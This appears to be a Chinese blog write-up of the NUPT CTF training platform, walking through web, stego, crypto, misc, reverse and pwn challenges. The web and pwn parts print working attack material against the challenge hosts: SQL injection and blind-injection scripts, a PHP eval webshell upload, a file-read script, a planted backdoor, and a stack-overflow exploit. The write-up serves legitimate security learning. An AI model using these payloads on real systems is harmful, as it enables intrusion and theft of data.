MENU

南邮 CTF 训练平台 Writeup

October 26, 2016 • Read: 12617 • CTF

WEB

WEB 部分。

签到题

查看源码

md5 collision

借用 PHP 的 == 弱类型,PHP 中的 == 和“隐式转换”

签到 2

绕过源码中的 maxlength=10,抓包改包。

这题不是 WEB

下载那个 GIF,文件末尾有 flag,这显然是 MISC 好么。。。

层层递进

这题有点坑,一直查看源码,一步步走到 http://chinalover.sinaapp.com/web3/404.html

<!-- Placed at the end of the document so the pages load faster -->
<!--  
<script src="./js/jquery-n.7.2.min.js"></script>
<script src="./js/jquery-c.7.2.min.js"></script>
<script src="./js/jquery-t.7.2.min.js"></script>
<script src="./js/jquery-f.7.2.min.js"></script>
<script src="./js/jquery-{.7.2.min.js"></script>
<script src="./js/jquery-t.7.2.min.js"></script>
<script src="./js/jquery-h.7.2.min.js"></script>
<script src="./js/jquery-i.7.2.min.js"></script>
<script src="./js/jquery-s.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-i.7.2.min.js"></script>
<script src="./js/jquery-s.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-a.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-f.7.2.min.js"></script>
<script src="./js/jquery-l.7.2.min.js"></script>
<script src="./js/jquery-4.7.2.min.js"></script>
<script src="./js/jquery-g.7.2.min.js"></script>
<script src="./js/jquery-}.7.2.min.js"></script>
-->

手打一下 flag 吧。

AAencode

奇怪的 JS 加密,放到控制台里跑一下。

单身二十年

抓包,注意跳转。

你从哪里来

改 Referer。

php decode

eval 改成 echo 好了,放到一个在线测试环境里跑一下。

单身一百年也没用

继续抓包。

Download~

查看源码,下载的参数用 base64 加密了,改一下就好。

Cookie

改一下 cookie。

MySQL

提示 robots.txt,看到一段源码,显然是弱类型了,1024.1 可破。

SQL Injection 3

宽字节注入。注意这里的 union 必须前后字段数相同。

// 查询数据库
// information_schema, sqli1, test
?id=2%df%27 union select 1,schema_name from information_schema.schemata%23
// sqli1 中数据表
// flag, news
?id=2%df%27 union select 1,table_name from information_schema.tables where table_schema=database()%23
// flag 表中字段
// flag
?id=2%df%27 union select 1,table_name from information_schema.columns where table_name=0x666c6167 and table_schema=database()%23
// dump 数据
?id=2%df%27 union select *,2 from flag%23

搞不懂为什么最后要把 * 放在前面。。。

/x00

00 截断即可,好像也可以用数组。

bypass again

利用数组的 md5 值绕过,a[]=1&b[]=2

变量覆盖

extract() 函数变量覆盖。

PHP 是世界上最好的语言

URL 编码两次即可,因为参数传入 PHP 文件时已经 URL解码过一次了。

伪装者

X-Forwarded-For

Header

flag 在请求头里。

上传绕过

只允许上传 jpg, gif, png 后缀,改后缀又说必须上传 php 后缀。

------WebKitFormBoundarybgib44bAteZlTwoM
Content-Disposition: form-data; name="dir"

/uploads/
------WebKitFormBoundarybgib44bAteZlTwoM
Content-Disposition: form-data; name="file"; filename="ones.jpg"
Content-Type: application/octet-stream

<?php @eval($_POST['a']);?>
------WebKitFormBoundarybgib44bAteZlTwoM
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundarybgib44bAteZlTwoM--

说明和文件内容没什么关系,有关的只有 filenamedir 两个地方了。

上传绕过

最终的路径是拼接了 dirfilename 的,那么我们在 dir 处 00 截断为 .php 即可绕过。

SQL 注入 1

# 注释掉之后的语句,注意闭合括号。

pass check

根据 tip,传一个 pass[]=1 进去。

起名字真难

用十六进制绕过。

密码重置

user1 的参数改成 admin 的加密值,再重置。

PHP 反序列化

需要让 secretenter 相等,用取地址的方法。

<?php
class just4fun {
    var $enter;
    var $secret;
}
$o = new just4fun();
$o->enter = &$o->secret;
echo serialize($o);
?>

生成 payload。

SQL Injection 4

用反斜杠转义引号。php4fun 的题目。

综合题

一大串 jsfuck,执行以下得到1bc29b36f623ba82aaf6724fd3b16718.php

这个页面的响应头里有 tip:history of bash,那么就是 .bash_history了。

访问得到 zip -r flagbak.zip ./*,可以下载到 flagbak.zip,里面有 flag。

SQL 注入 2

利用 union select 一个已知密码的 md5 值来绕过。

user=1' union select md5(1)%23&pass=1

综合题 2

题目说不是一个 XSS 题,有一个留言板,带参数查询,可能有注入,查看首页源码,看到一个文件包含的地方 http://cms.nuptzj.cn/about.php?file=sm.txt,点开是一个类似安装说明的东西,有一段数据库创建语句。

create table admin (
id integer,
username text,
userpass text,
)

还有一些敏感文件。

config.php:存放数据库信息,移植此CMS时要修改
index.php:主页文件
passencode.php:Funny公司自写密码加密算法库
say.php:用于接收和处理用户留言请求
sm.txt:本CMS的说明文档

那就先读一下这几个文件吧,直接包含格式不好,用一下 php://filter

# coding=utf-8
import requests


def base642f(file):
    with open(file, 'w') as f:
        url = 'http://cms.nuptzj.cn/about.php?file=php://filter/convert.base64-encode/resource=%s' % file
        content = requests.get(url).text
        if u'参数不能为空!' not in content:
            f.write(content.split('\n')[1].decode('base64'))
        else:
            return 'cannot get it.'

files = ('index.php', 'sm.txt', 'say.php', 'passencode.php', 'so.php', 'antiinject.php', 'antixss.php', 'about.php')
map(base642f, files)

config.php 读不出来,其他几个文件里又 include 进去了 antixss.phpantiinject.php 等文件,都读出来。

antiinject.php 内容:

<?php
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
 $info=str_replace($keyword[$i], '',$info);
}
return $info;
}
?>

只是简单的替换,双写绕过就好了。

index.php 中的表单被发送到了 so.php,读一下内容。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>搜索留言</title>
</head>

<body>
<center>
<div id="say" name="say" align="left" style="width:1024px">
<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
    exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>
</div>
</center>
</body>
</html>

这里要改一下 UA,sqlmap 改一下 nonrecursivereplacement.py,把过滤的几个词都加进去。

sqlmap -u "http://cms.nuptzj.cn/so.php" --data="soid=1" --user-agent="Xlcteam Browser" --tamper="nonrecursivereplacement,space2comment" --dbms=mysql

然而尴尬的只能跑出来数据库名 sae-exploitblog,没什么用。。。还是得手工。这就用到了刚开始的那个 sql 语句了,表名 admin,列名 username, userpass

soid=1/**/anANDd/**/exists(seleSELECTct/**/coCOUNTunt(*)/**/frFROMom/**/admiADMINn/**/limit/**/0,1)
# 有回显
soid=1/**/anANDd/**/exists(seleSELECTct/**/coCOUNTunt(*)/**/frFROMom/**/admiADMINn/**/limit/**/1,1)
# 无回显

说明该表中只有一条记录。

soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(usernaNAMEme)>4)
# 有回显
soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(usernaNAMEme)>5)
# 无回显

说明用户名长度 5 位,那应该就是 admin 了,试下前两位。

soid=1/**/anANDd/**/exists(selecSELECTt/**/*/**/froFROMm/**/admiADMINn/**/where/**/ascii(mid(usernamNAMEe,1,1))>96)
# 96 有回显,97 无回显,第一位 a
soid=1/**/anANDd/**/exists(selecSELECTt/**/*/**/froFROMm/**/admiADMINn/**/where/**/ascii(mid(usernamNAMEe,2,1))>99)
# 99 有回显,100 无回显,第二位 d

很明显就是 admin 了。

soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(userpaPASSss)>33)
# 有回显
soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(userpaPASSss)>34)
# 无回显

说明密码长度 34 位,之前还读到一个 passencode.php 文件。

<?php
function passencode($content){
//$pass=urlencode($content);
$array=str_split($content);
$pass="";
for($i=0;$i<count($array);$i++){
if($pass!=""){
$pass=$pass." ".(string)ord($array[$i]);
}else{
$pass=(string)ord($array[$i]);
}
}
return $pass;
}
?>

密文存储了密码的 ASCII 码,那么就是纯数字了,写个脚本跑一下。

# coding=utf-8
import requests
import string

urlmain = 'http://cms.nuptzj.cn/so.php'
headers = {
    'User-Agent': 'Xlcteam Browser',
    'Host': 'cms.nuptzj.cn',
}

payloads = string.digits
password = ''

for i in range(1, 35):
    for j in payloads:
        payload = ('1/**/anANDd/**/exists(selecSELECTt/**/*/**/froFROMm/**/admiADMINn/**/where'
                   '/**/ascii(mid(userpasPASSs,%s,1))>%s)' % (i, ord(j)))
        data = {
            'soid': payload
        }
        response = requests.post(url=urlmain, headers=headers, data=data)
        if len(response.content) < 430:
            password += j
            print '[*] Fetching password: ' + password
            break

得到密文 1020117099010701140117011001160117,解码得 fuckruntu

拿到了用户名密码,找一下后台吧。在 about.php 中,有这样的字符串。

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
$file=$_GET['file'];
if($file=="" || strstr($file,'config.php')){
echo "file参数不能为空!";
exit();
}else{
$cut=strchr($file,"loginxlcteam");
if($cut==false){
$data=file_get_contents($file);
$date=htmlspecialchars($data);
echo $date;
}else{
echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
}
}

得到后台 http://cms.nuptzj.cn/loginxlcteam/

login.jpg

因为程序猿连后台都懒得开发了,为了方便管理,他邪恶地放了一个一句话木马在网站的根目录下
小马的文件名为:xlcteam.php

再用之前的文件包含读这个小马。

<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>

这后门奇奇怪怪的,搜一下发现了一篇文章

三参数回调后门

尴尬的是不知道怎么连菜刀。。。试了半天,地址里写 http://cms.nuptzj.cn/xlcteam.php?www=preg_replace,密码写 wtf

网站根目录下有一个 恭喜你获得flag2.txt,搞定。

注入实战 1

那个站好像已经改版了。。。

密码重置 2

TIPS:
1.管理员邮箱观察一下就可以找到
2.linux下一般使用vi编辑器,并且异常退出会留下备份文件
3.弱类型bypass

一上来就有 3 个 HINT,邮箱查看源码可以看到,备份文件常见的有 .php.swp, .php.swo, .php~ 等,多试试,这题有 .submit.php.swp



........这一行是省略的代码........

/*
如果登录邮箱地址不是管理员则 die()
数据库结构

--
-- 表的结构 `user`
--

CREATE TABLE IF NOT EXISTS `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL,
  `email` varchar(255) NOT NULL,
  `token` int(255) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

--
-- 转存表中的数据 `user`
--

INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可见***', '***不可见***', 0);
*/


........这一行是省略的代码........

if(!empty($token)&&!empty($emailAddress)){
    if(strlen($token)!=10) die('fail');
    if($token!='0') die('fail');
    $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
    $r = mysql_query($sql) or die('db error');
    $r = mysql_fetch_assoc($r);
    $r = $r['num'];
    if($r>0){
        echo $flag;
    }else{
        echo "失败了呀";
    }
}

token 长度为 10,且 token = '0',构造一个 token=0000000000 应该可以了。

隐写

MISC 部分。

女神

图片最后有 flag。

图种

foremost 可以提取出一个 zip 文件,里面还有一张 GIF。

丘比龙的女神

binwalk 看一下,有一个 zip 文件结尾,但没有文件头,可能是被破坏了一下,在文件最后看到一个 nvshen.jpg,应该是压缩里的文件,D8E2 处有一个 nvshen.jpg,自己搞一个压缩包看下文件头到文件名的偏移,可以算出 D8C4 处就是文件头,抠出来修复一下文件头(可以用 WinRAR),拿到压缩包。

密码学

Crypto 部分。

easy!

base64

KeyBoard

看字母在键盘上画出的图案,但是我提交都不对。。。

base64 全家桶

base64 解完 32,再16。

n 次 base64

一直解。

骚年来一发吗

照着写一个解密函数。

<?php
function encode($str)
{
    $_o = strrev($str);
    for ($_0=0; $_0 < strlen($_o); $_0++) { 
        $_c = substr($_o, $_0, 1);
        $__ = ord($_c) + 1;
        $_c = chr($__);
        $_ = $_ . $_c;
    }
    return str_rot13(strrev(base64_encode($_)));
}

function decode($str)
{
    $_d = base64_decode(strrev(str_rot13($str)));
    for ($_0=0; $_0 < strlen($_d); $_0++) { 
        $_c = substr($_d, $_0, 1);
        $__ = ord($_c) - 1;
        $_c = chr($__);
        $_ = $_ . $_c;
    }
    return strrev($_);
}
$string = 'iEJqak3pjIaZ0NzLiITLwWTqzqGAtW2oyOTq1A3pzqas';
echo decode($string);
?>

mixed_base64

随机的加密,写个脚本跑一下。

# coding=utf-8
from base64 import *

with open('code.txt', 'r') as f:
    cipher = f.read()

tmp = cipher
count = 10
while count:
    count -= 1
    try:
        tmp = b64decode(cipher)
        if tmp.decode('utf-8') == tmp:
            cipher = tmp
    except Exception as e:
        # print e
        try:
            tmp = b32decode(cipher)
            if tmp.decode('utf-8') == tmp:
                cipher = tmp
        except Exception as e:
            # print e
            try:
                tmp = b16decode(cipher)
                if tmp.decode('utf-8') == tmp:
                    cipher = tmp
            except Exception as e:
                print e

print tmp

注意有时候即使不是用该方法加密,依然可以解密,但是是乱码,这里再判断下编码是否正常以排除这类状况。

异性相吸

根据提示是异或加密。

# coding=utf-8
import re

with open(unicode('密文.txt', 'utf-8'), 'r') as f:
    cipher = f.read()

with open(unicode('明文.txt', 'utf-8'), 'r') as f:
    plaintext = f.read()

hex_cipher = re.findall('.{2}', cipher.encode('hex'))
hex_plaintext = re.findall('.{2}', plaintext.encode('hex'))

flag = []
for i in range(len(hex_cipher)):
    flag.append(chr(int(hex_cipher[i], 16) ^ int(hex_plaintext[i], 16)))
print ''.join(flag)

md5

爆破一下。

# coding=utf-8
import hashlib
import re

s1 = 'TASC'
s2 = 'O3RJMV'
s3 = 'WDJKX'
s4 = 'ZM'

word = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

with open('md5.txt', 'w') as f:
    for i in word:
        for j in word:
            for k in word:
                s = s1 + i + s2 + j + s3 + k + s4
                m = hashlib.md5()
                m.update(s)
                m2 = m.hexdigest()
                if re.match(r'e9032[0-9a-f]{3}da[0-9a-f]{3}08[0-9a-f]{4}911513[0-9a-f]0[0-9a-f]{3}a2', m2):
                    print m2

Vigenere

不太会,还在做。

MISC

难道隐写不是 MISC,诡异的分类。

easy wireshark

tcp stream 12 里有个 flag.php。

wireshark 2

看到一个 secret.txt,提取内容。

the password for zip file is : ZipYourMouth

还看到一个 flag.zip,搞了半天发现不对,直接全局搜 flag 字符,发现在一个地方还有一个 zip 文件头,把这个抠出来,修复一下,用密码解压。

RE

逆向部分。

Hello RE

IDA 打开,F5,看到一串字符。

flag字符串

手动拼一下。

ReadASM 2

读汇编。。。好难。

PWN

PWN 爸爸。

When Did You Born

#include <stdio.h>

struct Student {
    char name[8];
    int birth;
};

int main(void) {
    struct Student student;
    printf("What\'s Your Birth?\n");
    scanf("%d", &student.birth);
    while (getchar() != '\n') ;
    if (student.birth == 1926) {
        printf("You Cannot Born In 1926!\n");
        return 0;
    }
    printf("What\'s Your Name?\n");
    gets(student.name);
    printf("You Are Born In %d\n", student.birth);
    if (student.birth == 1926) {
        printf("You Shall Have Flag.\n");
        system("cat flag");
    } else {
        printf("You Are Naive.\n");
        printf("You Speed One Second Here.\n");
    }
    return 0;
}

给了源码,这就简单多了,name 是 8 个字节,用 gets 读入,显然是可以栈溢出的。

from pwn import *

HOST = '115.28.79.166'
PORT = 5555
BUFFER = 4096

p = remote(HOST, PORT)
print p.recvuntil('?')
p.sendline('1')
print p.recvuntil('?')
p.sendline('s'*8+p64(0x0786))
print p.recv(BUFFER)
print p.recv(BUFFER)
print p.recv(BUFFER)
Tags: ctf, hack
Archives QR Code
QR Code for this page
Tipping QR Code
Leave a Comment

已有 2 条评论
  1. Tabjy Tabjy

    你好,关于最后一道缓冲区溢出的题,我有一个问题。1926 的 int32 是 0x00 00 07 86,追加到 's'*8 之后 不就变成了 0x73 ... 73 00 00 07 86 了么?其中 0x00 不会被 gets 函数当做 0 对待么?如果是这样的话,应该碰不到 student.birth 吧?刚接触 CTF 并不是很懂这方面,希望能得到解答。十分感谢!

  2. Tabjy Tabjy

    我又想了一下,是不是端序的问题? 如果是小端的话,1926 其实被 encode 成了 0x86 07 00 00。这样就能修改低16位,而高位已经被 p.sendline('1') 设置为 0 了?